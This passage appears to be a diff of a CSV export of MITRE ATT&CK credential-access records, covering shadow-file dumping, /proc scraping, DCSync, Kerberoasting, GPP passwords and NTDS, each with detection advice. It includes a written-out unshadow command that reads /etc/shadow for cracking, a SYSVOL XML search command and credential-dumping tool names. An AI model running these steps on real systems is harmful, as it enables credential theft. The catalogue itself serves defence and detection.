'Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.', 'url': 'https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/'}, {'source_name': 'RedLock Instance Metadata API 2018', 'description': 'Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.', 'url': 'https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],['User Account: User Account Authentication'],,"Monitor access to the Instance Metadata API and look for anomalous queries. -It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",,,,,True,,,,['IaaS'],,,,1.2 -2020-02-11 18:46:56.263000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats) +It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",True,,['IaaS'],1.2,,,,,,, +attack-pattern,attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:46:56.263Z,2020-03-20T15:56:55.022Z,/etc/passwd and /etc/shadow,"Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats) The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003/008', external_id='T1003.008'), ExternalReference(source_name='Linux Password and Shadow File Formats', description='The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.', url='https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html'), ExternalReference(source_name='nixCraft - John the Ripper', description='Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.', url='https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/')]",attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-20 15:56:55.022000+00:00,/etc/passwd and /etc/shadow,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'File: File Access']",,,,,"The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.",,,,,True,,,['root'],['Linux'],,,,1.0 -2020-02-11 18:46:24.434000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/008', 'external_id': 'T1003.008'}, {'source_name': 'Linux Password and Shadow File Formats', 'description': 'The Linux Documentation Project. (n.d.). Linux Password and Shadow File Formats. Retrieved February 19, 2020.', 'url': 'https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html'}, {'source_name': 'nixCraft - John the Ripper', 'description': 'Vivek Gite. (2014, September 17). Linux Password Cracking: Explain unshadow and john Commands (John the Ripper Tool). Retrieved February 19, 2020.', 'url': 'https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access']",,"The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes attempting to access /etc/passwd and /etc/shadow, alerting on the pid, process name, and arguments of such programs.",True,['root'],['Linux'],1.0,,,,,,, +attack-pattern,attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:46:24.434Z,2020-03-19T15:32:18.098Z,Proc Filesystem,"Adversaries may gather credentials from information stored in the Proc filesystem or /proc. The Proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. -This functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003/007', external_id='T1003.007'), ExternalReference(source_name='MimiPenguin GitHub May 2017', description='Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.', url='https://github.com/huntergregal/mimipenguin')]",attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-03-19 15:32:18.098000+00:00,Proc Filesystem,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'File: File Access']",,,,,"To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/\*/maps, where the \* directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",,,,,True,,,['root'],['Linux'],,,,1.0 -2020-02-11 18:45:34.293000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. +This functionality has been implemented in the MimiPenguin(Citation: MimiPenguin GitHub May 2017), an open source tool inspired by Mimikatz. The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/007', 'external_id': 'T1003.007'}, {'source_name': 'MimiPenguin GitHub May 2017', 'description': 'Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.', 'url': 'https://github.com/huntergregal/mimipenguin'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'File: File Access']",,"To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/\*/maps, where the \* directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",True,['root'],['Linux'],1.0,,,,,,, +attack-pattern,attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:45:34.293Z,2021-04-22T20:20:14.595Z,DCSync,"Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017) -DCSync functionality has been included in the ""lsadump"" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003/006', external_id='T1003.006'), ExternalReference(source_name='Microsoft DRSR Dec 2017', description='Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.', url='https://msdn.microsoft.com/library/cc228086.aspx'), ExternalReference(source_name='Microsoft GetNCCChanges', description='Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.', url='https://msdn.microsoft.com/library/dd207691.aspx'), ExternalReference(source_name='Samba DRSUAPI', description='SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.', url='https://wiki.samba.org/index.php/DRSUAPI'), ExternalReference(source_name='Wine API samlib.dll', description='Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.', url='https://source.winehq.org/WineAPI/samlib.html'), ExternalReference(source_name='ADSecurity Mimikatz DCSync', description='Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.', url='https://adsecurity.org/?p=1729'), ExternalReference(source_name='Harmj0y Mimikatz and DCSync', description='Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.', url='http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'), ExternalReference(source_name='InsiderThreat ChangeNTLM July 2017', description='Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.', url='https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM'), ExternalReference(source_name='GitHub Mimikatz lsadump Module', description='Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.', url='https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump'), ExternalReference(source_name='Microsoft NRPC Dec 2017', description='Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.', url='https://msdn.microsoft.com/library/cc237008.aspx'), ExternalReference(source_name='Microsoft SAMR', description='Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', url='https://msdn.microsoft.com/library/cc245496.aspx'), ExternalReference(source_name='AdSecurity DCSync Sept 2015', description='Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', url='https://adsecurity.org/?p=1729'), ExternalReference(source_name='Harmj0y DCSync Sept 2015', description='Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', url='http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/')]",attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-22 20:20:14.595000+00:00,DCSync,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['ExtraHop', 'Vincent Le Toux']","['Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015) +DCSync functionality has been included in the ""lsadump"" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1003/006', 'external_id': 'T1003.006'}, {'source_name': 'Microsoft DRSR Dec 2017', 'description': 'Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc228086.aspx'}, {'source_name': 'Microsoft GetNCCChanges', 'description': 'Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/dd207691.aspx'}, {'source_name': 'Samba DRSUAPI', 'description': 'SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.', 'url': 'https://wiki.samba.org/index.php/DRSUAPI'}, {'source_name': 'Wine API samlib.dll', 'description': 'Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.', 'url': 'https://source.winehq.org/WineAPI/samlib.html'}, {'source_name': 'ADSecurity Mimikatz DCSync', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.', 'url': 'https://adsecurity.org/?p=1729'}, {'source_name': 'Harmj0y Mimikatz and DCSync', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.', 'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'}, {'source_name': 'InsiderThreat ChangeNTLM July 2017', 'description': 'Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.', 'url': 'https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM'}, {'source_name': 'GitHub Mimikatz lsadump Module', 'description': 'Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.', 'url': 'https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump'}, {'source_name': 'Microsoft NRPC Dec 2017', 'description': 'Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.', 'url': 'https://msdn.microsoft.com/library/cc237008.aspx'}, {'source_name': 'Microsoft SAMR', 'description': 'Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.', 'url': 'https://msdn.microsoft.com/library/cc245496.aspx'}, {'source_name': 'AdSecurity DCSync Sept 2015', 'description': 'Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.', 'url': 'https://adsecurity.org/?p=1729'}, {'source_name': 'Harmj0y DCSync Sept 2015', 'description': 'Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.', 'url': 'http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['ExtraHop', 'Vincent Le Toux']","['Active Directory: Active Directory Object Access', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015) -Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)",,,,,True,,,['Administrator'],['Windows'],,,,1.0 -2020-02-11 18:43:38.588000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) +Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)",True,['Administrator'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:43:38.588Z,2020-10-20T19:30:10.687Z,Kerberoasting,"Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016) @@ -1532,8 +1724,8 @@ Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request This same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015) -Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1558/003', external_id='T1558.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/509.html', external_id='CAPEC-509'), ExternalReference(source_name='Empire InvokeKerberoast Oct 2016', description='EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.', url='https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1'), ExternalReference(source_name='AdSecurity Cracking Kerberos Dec 2015', description='Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', url='https://adsecurity.org/?p=2293'), ExternalReference(source_name='Microsoft Detecting Kerberoasting Feb 2018', description='Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', url='https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'), ExternalReference(source_name='Microsoft SPN', description='Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.', url='https://msdn.microsoft.com/library/ms677949.aspx'), ExternalReference(source_name='Microsoft SetSPN', description='Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.', url='https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx'), ExternalReference(source_name='SANS Attacking Kerberos Nov 2014', description='Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.', url='https://redsiege.com/kerberoast-slides'), ExternalReference(source_name='Harmj0y Kerberoast Nov 2016', description='Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.', url='https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/')]",attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-10-20 19:30:10.687000+00:00,Kerberoasting,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],['Active Directory: Active Directory Credential Request'],,,,,"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)",,,,,True,,,,['Windows'],,['Valid domain account or the ability to sniff traffic within a domain'],,1.1 -2020-02-11 18:43:06.253000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016) +Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558/003', 'external_id': 'T1558.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/509.html', 'external_id': 'CAPEC-509'}, {'source_name': 'Empire InvokeKerberoast Oct 2016', 'description': 'EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.', 'url': 'https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1'}, {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'}, {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'}, {'source_name': 'Microsoft SPN', 'description': 'Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.', 'url': 'https://msdn.microsoft.com/library/ms677949.aspx'}, {'source_name': 'Microsoft SetSPN', 'description': 'Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.', 'url': 'https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx'}, {'source_name': 'SANS Attacking Kerberos Nov 2014', 'description': 'Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.', 'url': 'https://redsiege.com/kerberoast-slides'}, {'source_name': 'Harmj0y Kerberoast Nov 2016', 'description': 'Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.', 'url': 'https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],['Active Directory: Active Directory Credential Request'],,"Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)",True,,['Windows'],1.1,,['Valid domain account or the ability to sniff traffic within a domain'],,,,, +attack-pattern,attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:43:06.253Z,2020-06-17T14:25:38.082Z,Group Policy Preferences,"Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016) These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key) @@ -1544,10 +1736,10 @@ The following tools and scripts can be used to gather and decrypt the password f * gpprefdecrypt.py On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1552/006', external_id='T1552.006'), ExternalReference(source_name='Microsoft GPP 2016', description='Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.', url='https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)'), ExternalReference(source_name='Microsoft GPP Key', description='Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.', url='https://msdn.microsoft.com/library/cc422924.aspx'), ExternalReference(source_name='Obscuresecurity Get-GPPPassword', description='Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.', url='https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html'), ExternalReference(source_name='ADSecurity Finding Passwords in SYSVOL', description='Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.', url='https://adsecurity.org/?p=2288')]",attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-06-17 14:25:38.082000+00:00,Group Policy Preferences,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Access', 'Command: Command Execution']",,,,,"Monitor for attempts to access SYSVOL that involve searching for XML files. +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1552/006', 'external_id': 'T1552.006'}, {'source_name': 'Microsoft GPP 2016', 'description': 'Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)'}, {'source_name': 'Microsoft GPP Key', 'description': 'Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.', 'url': 'https://msdn.microsoft.com/library/cc422924.aspx'}, {'source_name': 'Obscuresecurity Get-GPPPassword', 'description': 'Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.', 'url': 'https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html'}, {'source_name': 'ADSecurity Finding Passwords in SYSVOL', 'description': 'Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.', 'url': 'https://adsecurity.org/?p=2288'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Access', 'Command: Command Execution']",,"Monitor for attempts to access SYSVOL that involve searching for XML files. -Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)",,,,,True,,,['User'],['Windows'],,,,1.0 -2020-02-11 18:42:35.572000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory) +Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)",True,['User'],['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:42:35.572Z,2020-12-14T23:08:02.782Z,NTDS,"Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory) In addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015) @@ -1557,8 +1749,8 @@ The following tools and techniques can be used to enumerate the NTDS file and th * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy -","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1003/003', external_id='T1003.003'), ExternalReference(source_name='Wikipedia Active Directory', description='Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.', url='https://en.wikipedia.org/wiki/Active_Directory'), ExternalReference(source_name='Metcalf 2015', description='Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & 